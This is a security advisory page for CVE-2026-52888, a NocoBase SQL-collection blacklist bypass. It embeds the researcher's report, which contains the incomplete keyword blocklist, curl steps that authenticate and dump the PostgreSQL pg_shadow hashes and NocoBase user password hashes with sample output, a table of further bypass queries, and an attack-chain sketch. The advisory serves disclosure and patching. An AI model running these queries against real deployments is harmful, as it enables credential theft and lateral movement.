CVE-2026-52888: NocoBase Sensitive Data Exposure Vulnerability

MODERATE
Advisory Identifier: GHSA-v8vm-cqh8-q87q
CVSS 6.8
CWE-200 CWE-184
Published
Advisory Summary

CVE-2026-52888 is a MODERATE (CVSS 6.8) sensitive data exposure vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting NocoBase libraries in the npm ecosystem. The issue involves sensitive data exposure via sql blacklist bypass. Remediation is available by upgrading affected packages to version 2.0.62, 2.1.0-alpha.46, 2.1.0-beta.45.

CVE-2026-52888 at a Glance

CVE Identifier CVE-2026-52888
GHSA Identifier GHSA-v8vm-cqh8-q87q
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product NocoBase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-52888

To remediate this vulnerability, upgrade all affected NocoBase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nocobase/plugin-collection-sql fixed: 2.0.62
npm install @nocobase/plugin-collection-sql@2.0.62
@nocobase/plugin-collection-sql fixed: 2.1.0-alpha.46
npm install @nocobase/plugin-collection-sql@2.1.0-alpha.46
@nocobase/plugin-collection-sql fixed: 2.1.0-beta.45
npm install @nocobase/plugin-collection-sql@2.1.0-beta.45
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nocobase/plugin-collection-sql

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-52888, inspect your project dependencies using npm:

npm ls @nocobase/plugin-collection-sql

Analyze the terminal output to locate any version of NocoBase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.62), your application is affected.

Note: The npm ls @nocobase/plugin-collection-sql command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In NocoBase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass ## Summary The `checkSQL()` function in `plugin-collection-sql` implements a **keyword-based blacklist** to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is **incomplete**: it only checks for a subset of dangerous PostgreSQL system functions and **does not restrict access to sensitive system catalog tables** such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`. An authenticated user with the `admin` role can exploit this to **dump PostgreSQL password hashes** (`pg_shadow`), **read all NocoBase user credentials** (hashed passwords from the `users` table), and **enumerate the full database schema** — all data that admin users should never be able to access through the application interface. --- ## Affected Component **File**: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts` ```typescript export const checkSQL = (sql: string) => { const dangerKeywords = [ // PostgreSQL — BLOCKED 'pg_read_file', 'pg_read_binary_file', 'pg_stat_file', 'pg_ls_dir', 'pg_logdir_ls', 'pg_terminate_backend', 'pg_cancel_backend', 'current_setting', 'set_config', 'pg_reload_conf', 'pg_sleep', 'generate_series', // MySQL — BLOCKED 'LOAD_FILE', 'BENCHMARK', '@@global.', '@@session.', // SQLite — BLOCKED 'sqlite3_load_extension', 'load_extension', ]; // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity, // information_schema, users table direct access, etc. sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } }; ``` The `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check: ```typescript // sql.ts — execute action execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); // ← insufficient validation } catch (e) { ctx.throw(400, ctx.t(e.message)); } // SQL is executed directly against the database const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true }); ctx.body = { data, fields, sources }; } ``` --- ## Root Cause The blacklist approach is **fundamentally incomplete**. It attempts to enumerate every dangerous construct but misses entire categories: 1. **PostgreSQL system catalog tables** — `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted 2. **Application-level sensitive tables** — `users` (containing hashed passwords) can be queried directly 3. **`information_schema`** — full schema enumeration is possible 4. **Schema-qualified variants** — even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions) The correct approach is an **allowlist** (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords. --- ## Steps to Reproduce **Prerequisites**: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet). **Step 1**: Authenticate and obtain a token: ```bash TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \ -H "Content-Type: application/json" \ -d '{"email":"admin@example.com","password":"<password>"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])") ``` **Step 2**: Dump PostgreSQL password hashes from `pg_shadow`: ```bash curl -s -X POST http://<TARGET>/api/sqlCollection:execute \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"sql":"SELECT usename, passwd FROM pg_shadow LIMIT 10"}' ``` **Response**: ```json { "data": { "data": [ { "usename": "nocobase", "passwd": "SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=" } ] } } ``` **Step 3**: Dump NocoBase user credentials: ```bash curl -s -X POST http://<TARGET>/api/sqlCollection:execute \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"sql":"SELECT id, email, username, password FROM users LIMIT 100"}' ``` **Response** (verified): ```json { "data": { "data": [ { "id": 1, "email": "admin@nocobase.com", "username": "nocobase", "password": "1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b" } ] } } ``` --- ## Additional Verified Bypass Queries | Query | Blocked? | Data Exposed | |-------|----------|--------------| | `SELECT usename, passwd FROM pg_shadow` |**Not blocked** | PostgreSQL DB user password hashes | | `SELECT id, email, password FROM users` |**Not blocked** | All NocoBase user credential hashes | | `SELECT table_name FROM information_schema.tables` |**Not blocked** | Full database schema enumeration | | `SELECT rolname, rolsuper FROM pg_roles` |**Not blocked** | All DB roles and superuser flags | | `SELECT pid, query FROM pg_stat_activity` |**Not blocked** | Live SQL queries from all sessions | | `SELECT pg_read_file('/etc/passwd')` |Blocked | — | | `SELECT current_setting('app.key')` |Blocked | — | --- ## Why Admin-Required Still Matters This vulnerability is rated **High** despite requiring admin-level authentication. The reasoning: ### 1. Security Boundary Violation (Scope Changed → S:C) The `admin` role in NocoBase is an **application-level** role — it manages workflows, collections, and UI. It is **not** a database administrator. Accessing `pg_shadow` is a **PostgreSQL system-level** privilege that admins should never have. The `checkSQL()` function was explicitly created to enforce this boundary; bypassing it breaks the intended security model. ### 2. Data That Admin Cannot Access Through Normal UI Even with admin privileges, NocoBase's UI and API **do not expose**: - `pg_shadow` (PostgreSQL internal password store) - Raw `users.password` hashes via standard API responses - Full `information_schema` enumeration VUL-2 grants access to all of the above — data the application explicitly chose not to expose. ### 3. Enables Lateral Movement The `pg_shadow` SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains **direct PostgreSQL access** with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading **all data** in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas. ### 4. Enables Full Attack Chain When Combined with Other Vulnerabilities ``` Member user (lowest privilege) → VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger) → VUL-1: RCE reads APP_KEY from process.env → Forge JWT with admin role → VUL-2: Dump pg_shadow + users.password → Crack hashes → full PostgreSQL access ``` --- ## Impacted API Endpoint ``` POST /api/sqlCollection:execute ``` - **Authentication**: Required (`admin` role) - **ACL Snippet** registered in `plugin.ts`: ```typescript this.app.acl.registerSnippet({ name: `pm.data-source-manager.collection-sql`, actions: ['sqlCollection:*'], // includes :execute }); ``` - The `admin` role includes this snippet by default. --- ## Recommended Fixes ### Fix 1 (Immediate): Extend the blacklist with system catalog tables ```typescript const dangerKeywords = [ // ... existing entries ... // ADD: PostgreSQL system catalog tables with sensitive data 'pg_shadow', 'pg_authid', 'pg_auth_members', 'pg_stat_activity', 'pg_roles', // Note: information_schema should also be restricted for non-DBA roles ]; ``` ### Fix 2 (Recommended): Replace blacklist with schema allowlist Instead of blocking dangerous keywords, only allow queries against **user-defined collection tables**: ```typescript // Allowlist approach: extract table names from AST and verify against known collections const allowedTables = await db.getCollectionNames(); // tables created by NocoBase users const referencedTables = extractTableNames(parsedSQL); if (!referencedTables.every(t => allowedTables.includes(t))) { throw new Error('Query references tables outside the allowed scope'); } ``` ### Fix 3 (Defense-in-depth): Use a read-only, restricted DB user The application's DB connection should use a PostgreSQL user that: - Does **not** have `SELECT` privilege on `pg_shadow` or `pg_authid` - Only has access to the application's own schema (`nocobase` schema) This ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs. --- ## Environment | Field | Value | |-------|-------| | NocoBase version | 2.0.59-full | | Database | PostgreSQL 16.14 | | Deployment | Docker (`nocobase/nocobase:2.0.59-full`) | | Vulnerable file | `plugin-collection-sql/src/server/utils.ts` — `checkSQL()` | | Vulnerable endpoint | `POST /api/sqlCollection:execute` | | Auth required | Admin role (`pm.data-source-manager.collection-sql` snippet) | --- ## Timeline | Date | Event | |------|-------| | 2026-05-29 | Vulnerability discovered via whitebox source code audit of `utils.ts` | | 2026-05-29 | Exploit verified on live Docker instance — `pg_shadow` and `users.password` dumped | | 2026-05-29 | Report submitted to maintainers | --- ## Script and video PoC: [poc_vul2_sqli.py](https://github.com/user-attachments/files/28380402/poc_vul2_sqli.py) https://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732

CVE-2026-52888 Affected NocoBase Versions

3 component(s)
Fixed Versions:
2.0.622.1.0-alpha.462.1.0-beta.45
Product / Package Ecosystem Affected Versions Fixed Version
@nocobase/plugin-collection-sql
npm
< 2.0.62
2.0.62
@nocobase/plugin-collection-sql
npm
≥ 2.1.0-alpha.1
< 2.1.0-alpha.46
2.1.0-alpha.46
@nocobase/plugin-collection-sql
npm
≥ 2.1.0-beta.1
< 2.1.0-beta.45
2.1.0-beta.45

References

Frequently Asked Questions

What is CVE-2026-52888?
CVE-2026-52888 is a security vulnerability in NocoBase involving Sensitive Data Exposure via SQL Blacklist Bypass under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which NocoBase versions are affected?
Affected versions include releases prior to 2.0.62, 2.1.0-alpha.46, 2.1.0-beta.45 across affected packages: @nocobase/plugin-collection-sql.
What version fixes CVE-2026-52888?
Upgrading to 2.0.62, 2.1.0-alpha.46, 2.1.0-beta.45 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nocobase/plugin-collection-sql affected?
Yes, @nocobase/plugin-collection-sql is affected in releases prior to 2.0.62, 2.1.0-alpha.46, 2.1.0-beta.45. Upgrade your dependency to 2.0.62, 2.1.0-alpha.46, 2.1.0-beta.45 or later.
What is the CVSS score of CVE-2026-52888?
CVE-2026-52888 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-52888?
CVE-2026-52888 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check npm dependencies for CVE-2026-52888?
Run the dependency tree command: 'npm ls @nocobase/plugin-collection-sql'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v8vm-cqh8-q87q",
  "modified" : "2026-07-28T20:53:09Z",
  "published" : "2026-07-28T20:53:08Z",
  "aliases" : [ "CVE-2026-52888" ],
  "summary" : "NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass",
  "details" : "# Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass\n\n## Summary\n\nThe `checkSQL()` function in `plugin-collection-sql` implements a **keyword-based blacklist** to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is **incomplete**: it only checks for a subset of dangerous PostgreSQL system functions and **does not restrict access to sensitive system catalog tables** such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`.\n\nAn authenticated user with the `admin` role can exploit this to **dump PostgreSQL password hashes** (`pg_shadow`), **read all NocoBase user credentials** (hashed passwords from the `users` table), and **enumerate the full database schema** — all data that admin users should never be able to access through the application interface.\n\n---\n\n## Affected Component\n\n**File**: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts`\n\n```typescript\nexport const checkSQL = (sql: string) => {\n  const dangerKeywords = [\n    // PostgreSQL — BLOCKED\n    'pg_read_file',\n    'pg_read_binary_file',\n    'pg_stat_file',\n    'pg_ls_dir',\n    'pg_logdir_ls',\n    'pg_terminate_backend',\n    'pg_cancel_backend',\n    'current_setting',\n    'set_config',\n    'pg_reload_conf',\n    'pg_sleep',\n    'generate_series',\n\n    // MySQL — BLOCKED\n    'LOAD_FILE',\n    'BENCHMARK',\n    '@@global.',\n    '@@session.',\n\n    // SQLite — BLOCKED\n    'sqlite3_load_extension',\n    'load_extension',\n  ];\n\n  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,\n  //                 information_schema, users table direct access, etc.\n\n  sql = sql.trim().split(';').shift();\n  if (!/^select/i.test(sql) && !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error('Only supports SELECT statements or WITH clauses');\n  }\n  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error('SQL statements contain dangerous keywords');\n  }\n};\n```\n\nThe `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check:\n\n```typescript\n// sql.ts — execute action\nexecute: async (ctx: Context, next: Next) => {\n  const { sql } = ctx.action.params.values || {};\n  try {\n    checkSQL(sql);         // ← insufficient validation\n  } catch (e) {\n    ctx.throw(400, ctx.t(e.message));\n  }\n  // SQL is executed directly against the database\n  const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true });\n  ctx.body = { data, fields, sources };\n}\n```\n\n---\n\n## Root Cause\n\nThe blacklist approach is **fundamentally incomplete**. It attempts to enumerate every dangerous construct but misses entire categories:\n\n1. **PostgreSQL system catalog tables** — `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted\n2. **Application-level sensitive tables** — `users` (containing hashed passwords) can be queried directly\n3. **`information_schema`** — full schema enumeration is possible\n4. **Schema-qualified variants** — even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions)\n\nThe correct approach is an **allowlist** (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.\n\n---\n\n## Steps to Reproduce\n\n**Prerequisites**: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet).\n\n**Step 1**: Authenticate and obtain a token:\n```bash\nTOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"admin@example.com\",\"password\":\"<password>\"}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['token'])\")\n```\n\n**Step 2**: Dump PostgreSQL password hashes from `pg_shadow`:\n```bash\ncurl -s -X POST http://<TARGET>/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"sql\":\"SELECT usename, passwd FROM pg_shadow LIMIT 10\"}'\n```\n\n**Response**:\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"usename\": \"nocobase\",\n        \"passwd\": \"SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=\"\n      }\n    ]\n  }\n}\n```\n\n**Step 3**: Dump NocoBase user credentials:\n```bash\ncurl -s -X POST http://<TARGET>/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"sql\":\"SELECT id, email, username, password FROM users LIMIT 100\"}'\n```\n\n**Response** (verified):\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"id\": 1,\n        \"email\": \"admin@nocobase.com\",\n        \"username\": \"nocobase\",\n        \"password\": \"1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b\"\n      }\n    ]\n  }\n}\n```\n\n---\n\n## Additional Verified Bypass Queries\n\n| Query | Blocked? | Data Exposed |\n|-------|----------|--------------|\n| `SELECT usename, passwd FROM pg_shadow` |**Not blocked** | PostgreSQL DB user password hashes |\n| `SELECT id, email, password FROM users` |**Not blocked** | All NocoBase user credential hashes |\n| `SELECT table_name FROM information_schema.tables` |**Not blocked** | Full database schema enumeration |\n| `SELECT rolname, rolsuper FROM pg_roles` |**Not blocked** | All DB roles and superuser flags |\n| `SELECT pid, query FROM pg_stat_activity` |**Not blocked** | Live SQL queries from all sessions |\n| `SELECT pg_read_file('/etc/passwd')` |Blocked | — |\n| `SELECT current_setting('app.key')` |Blocked | — |\n\n---\n\n## Why Admin-Required Still Matters\n\nThis vulnerability is rated **High** despite requiring admin-level authentication. The reasoning:\n\n### 1. Security Boundary Violation (Scope Changed → S:C)\nThe `admin` role in NocoBase is an **application-level** role — it manages workflows, collections, and UI. It is **not** a database administrator. Accessing `pg_shadow` is a **PostgreSQL system-level** privilege that admins should never have. The `checkSQL()` function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.\n\n### 2. Data That Admin Cannot Access Through Normal UI\nEven with admin privileges, NocoBase's UI and API **do not expose**:\n- `pg_shadow` (PostgreSQL internal password store)\n- Raw `users.password` hashes via standard API responses\n- Full `information_schema` enumeration\n\nVUL-2 grants access to all of the above — data the application explicitly chose not to expose.\n\n### 3. Enables Lateral Movement\nThe `pg_shadow` SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains **direct PostgreSQL access** with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading **all data** in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.\n\n### 4. Enables Full Attack Chain When Combined with Other Vulnerabilities\n```\nMember user (lowest privilege)\n  → VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)\n  → VUL-1: RCE reads APP_KEY from process.env\n  → Forge JWT with admin role\n  → VUL-2: Dump pg_shadow + users.password\n  → Crack hashes → full PostgreSQL access\n```\n\n---\n\n## Impacted API Endpoint\n\n```\nPOST /api/sqlCollection:execute\n```\n\n- **Authentication**: Required (`admin` role)\n- **ACL Snippet** registered in `plugin.ts`:\n  ```typescript\n  this.app.acl.registerSnippet({\n    name: `pm.data-source-manager.collection-sql`,\n    actions: ['sqlCollection:*'],   // includes :execute\n  });\n  ```\n- The `admin` role includes this snippet by default.\n\n---\n\n## Recommended Fixes\n\n### Fix 1 (Immediate): Extend the blacklist with system catalog tables\n```typescript\nconst dangerKeywords = [\n  // ... existing entries ...\n\n  // ADD: PostgreSQL system catalog tables with sensitive data\n  'pg_shadow',\n  'pg_authid',\n  'pg_auth_members',\n  'pg_stat_activity',\n  'pg_roles',\n  // Note: information_schema should also be restricted for non-DBA roles\n];\n```\n\n### Fix 2 (Recommended): Replace blacklist with schema allowlist\nInstead of blocking dangerous keywords, only allow queries against **user-defined collection tables**:\n\n```typescript\n// Allowlist approach: extract table names from AST and verify against known collections\nconst allowedTables = await db.getCollectionNames(); // tables created by NocoBase users\nconst referencedTables = extractTableNames(parsedSQL);\nif (!referencedTables.every(t => allowedTables.includes(t))) {\n  throw new Error('Query references tables outside the allowed scope');\n}\n```\n\n### Fix 3 (Defense-in-depth): Use a read-only, restricted DB user\nThe application's DB connection should use a PostgreSQL user that:\n- Does **not** have `SELECT` privilege on `pg_shadow` or `pg_authid`\n- Only has access to the application's own schema (`nocobase` schema)\n\nThis ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.\n\n---\n\n## Environment\n\n| Field | Value |\n|-------|-------|\n| NocoBase version | 2.0.59-full |\n| Database | PostgreSQL 16.14 |\n| Deployment | Docker (`nocobase/nocobase:2.0.59-full`) |\n| Vulnerable file | `plugin-collection-sql/src/server/utils.ts` — `checkSQL()` |\n| Vulnerable endpoint | `POST /api/sqlCollection:execute` |\n| Auth required | Admin role (`pm.data-source-manager.collection-sql` snippet) |\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-05-29 | Vulnerability discovered via whitebox source code audit of `utils.ts` |\n| 2026-05-29 | Exploit verified on live Docker instance — `pg_shadow` and `users.password` dumped |\n| 2026-05-29 | Report submitted to maintainers |\n\n---\n## Script and video PoC:\n[poc_vul2_sqli.py](https://github.com/user-attachments/files/28380402/poc_vul2_sqli.py)\n\nhttps://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nocobase/plugin-collection-sql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.62"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nocobase/plugin-collection-sql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.0-alpha.1"
      }, {
        "fixed" : "2.1.0-alpha.46"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nocobase/plugin-collection-sql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.0-beta.1"
      }, {
        "fixed" : "2.1.0-beta.45"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52888"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/pull/9683"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/commit/4aecb60d151a9002004dcf984f63d62f17a6cb45"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/commit/87c548969ce9258dd7f0d9571c9453ae10bc3fc4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nocobase/nocobase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/releases/tag/v2.0.62"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/releases/tag/v2.1.0-alpha.46"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-28T20:53:08Z",
    "nvd_published_at" : "2026-07-15T21:16:54Z"
  }
}